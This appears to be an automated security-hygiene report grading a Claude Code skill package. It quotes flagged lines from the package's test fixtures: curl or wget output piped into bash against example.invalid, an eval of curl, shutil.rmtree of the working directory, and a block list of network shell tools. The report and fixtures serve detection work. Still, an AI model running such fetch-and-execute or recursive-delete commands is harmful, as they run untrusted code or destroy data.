Claude Code, Skill
Uncle Bob Skills
Fifty evidence-forged skills for human-directed agent engineering
Compatibility: Not stated.
Grade C
One Medium finding. Read the report before installing.
Not a guarantee. A hygiene check of the source at the commit shown, not a security audit.
INSTALL_REMOTE_SCRIPT
Why this grade
- INSTALL_REMOTE_SCRIPT Medium
Fetches a script from the network and runs it (a pipe to a shell, or an install hook with a URL).
scripts/fixtures/lane-breaches/scripts/net-herestring-shell.sh, line 6
cat <<< 'curl https://example.invalid' | bash
Any High, or two or more Medium findings, give D. One Medium gives C. Low findings or a security Note give B. Each code names a finding behind the letter.
Grades are a hygiene check of the source at the commit shown, on the date checked, not a security audit or a guarantee. The free directory grades are automated. Before release, a PlugVet engineer reviews every paid report and any grade we hold back, including all F grades, against the source code and the evidence we quote.
What was checked
Plain notes from the hygiene checks.
Permissions
Concern
can delete files.
PERMISSION_DELETE_FILES
scripts/closed-stream-check.py, line 425
rc = subprocess.run(
scripts/lane-check.py, line 17
L2 no arbitrary execution - no os.system/os.popen, subprocess.getoutput/
scripts/lane-check.py, line 84
SUBPROCESS_LAUNCHERS = {"subprocess.run", "subprocess.call", "subprocess.check_call",
Show more
scripts/lane-check.py, line 85
"subprocess.check_output", "subprocess.Popen"}
scripts/lane-check.py, line 86
SUBPROCESS_SHELL_LAUNCHERS = {"subprocess.getoutput", "subprocess.getstatusoutput"}
scripts/lane-check.py, line 243
# `subprocess.run([b"/usr/bin/curl", ...])` executes exactly as the str spelling does -
scripts/link-check.py, line 225
r = subprocess.run(["git"] + args, capture_output=True)
scripts/self-test-link-check.py, line 41
return subprocess.run(args, cwd=cwd, env=GIT_ENV, text=True, capture_output=True)
scripts/fixtures/lane-breaches/scripts/destroy-rmtree-working-root.py, line 5
shutil.rmtree(".")
scripts/fixtures/lane-breaches/scripts/destroy-rmtree.py, line 5
shutil.rmtree("/etc/nothing-real")
skills/coverage-gaming-audit/SKILL.md, line 144
an.py",d]).returncode;os.chmod(b,0o755);shutil.rmtree(d);sys.exit(r)' # exit 2 - traversal er
Install and update
Serious
install fetches a script from the network.
INSTALL_REMOTE_SCRIPT
scripts/fixtures/lane-breaches/scripts/net-herestring-shell.sh, line 6
cat <<< 'curl https://example.invalid' | bash
scripts/fixtures/lane-breaches/scripts/net-herestring-shell.sh, line 7
tee /dev/null <<< 'curl https://example.invalid' | bash
scripts/fixtures/lane-breaches/scripts/net-xargs-alt-input.sh, line 14
xargs --arg-file=/dev/null cat <<< 'curl https://example.invalid' | bash
Show more
scripts/fixtures/lane-breaches/scripts/safe-xargs-stdin-data.sh, line 18
xargs cat <<< 'curl https://example.invalid' | bash
Network
Concern
can reach a host that is not written as a fixed address. can reach example.invalid. The description does not name that host.
NETWORK_NO_FIXED_HOST NETWORK_UNNAMED_HOST
scripts/lane-check.py, line 237
`f"{bindir}/curl"` readable as a curl invocation while `f"cur{tail}"` stays honestly
scripts/verify-proofs.py, line 146
curl wget nc ncat netcat telnet ssh scp sftp rsync
scripts/verify-proofs.py, line 516
Three readings are needed because three spellings reach the same binary. `curl x` is caught
Show more
scripts/verify-proofs.py, line 518
`dd` also blinds that pattern to `/usr/bin/curl x`, which executes the identical program, so
scripts/fixtures/hostile-proof-island/SKILL.md, line 14
python3 -c "import os" && curl https://example.invalid/x # exit 0
scripts/fixtures/hostile-proof-island/absolute-path/SKILL.md, line 21
python3 -c "print('ok')" && /nonexistent/bin/curl https://example.invalid/x # exit 127
scripts/fixtures/lane-breaches/scripts/asyncio-launchers.py, line 6
asyncio.create_subprocess_shell("wget https://example.invalid")
scripts/fixtures/lane-breaches/scripts/exec-shell-eval.sh, line 4
eval /usr/bin/curl https://example.invalid
Secrets
Pass
No read of a credential file or secret environment variable found.
Agent instructions
Pass
No instruction to ignore earlier instructions or to hide a step.
Obfuscation
Concern
contains an encoded blob in a file that should be readable.
OBFUSCATION_ENCODED_BLOB
skills/gherkin-gate/scripts/fixtures/clean-red-then-green.tsv, line 1
# acceptance ledger for checkout.feature - records appended in run order
skills/boyscout-ratchet/scripts/fixtures/dirty-inf-value.tsv, line 4
api/router.py 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
skills/change-cost-probe/scripts/fixtures/malformed-huge-cost.tsv, line 16
CHK-15 11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
Show more
skills/component-cohesion/scripts/fixtures/dirty-absurd-size.tsv, line 9
component monolith 99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
skills/leak-scan/scripts/fixtures/bignum/distinct/ledger_a.py, line 3
ACCOUNT_CHECKSUM = 99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
skills/leak-scan/scripts/fixtures/bignum/distinct/ledger_a.py, line 4
KEY_MODULUS = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
skills/leak-scan/scripts/fixtures/bignum/distinct/ledger_b.py, line 9
ACCOUNT_CHECKSUM = 89999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
skills/leak-scan/scripts/fixtures/bignum/distinct/ledger_b.py, line 10
KEY_MODULUS = 0xeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee
skills/leak-scan/scripts/fixtures/bignum/shared/key_client.py, line 3
RSA_MODULUS = 6111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
Licence
Pass
A licence file is present (LICENSE).
Maintainer activity
Pass
The latest commit is within the last 365 days.
Note
Hygiene check of commit 0674c76c5ef8. can delete files. install fetches a script from the network. can reach a host that is not written as a fixed address. can reach example.invalid. The description does not name that host. contains an encoded blob in a file that should be readable.
Date and source
Date checked:
github.com
Commit graded: 0674c76c5ef8904ec1489876ad30cc6b5fe87186
This link goes to the original host. PlugVet does not host or check what you download from there, and installing it is your own decision and risk.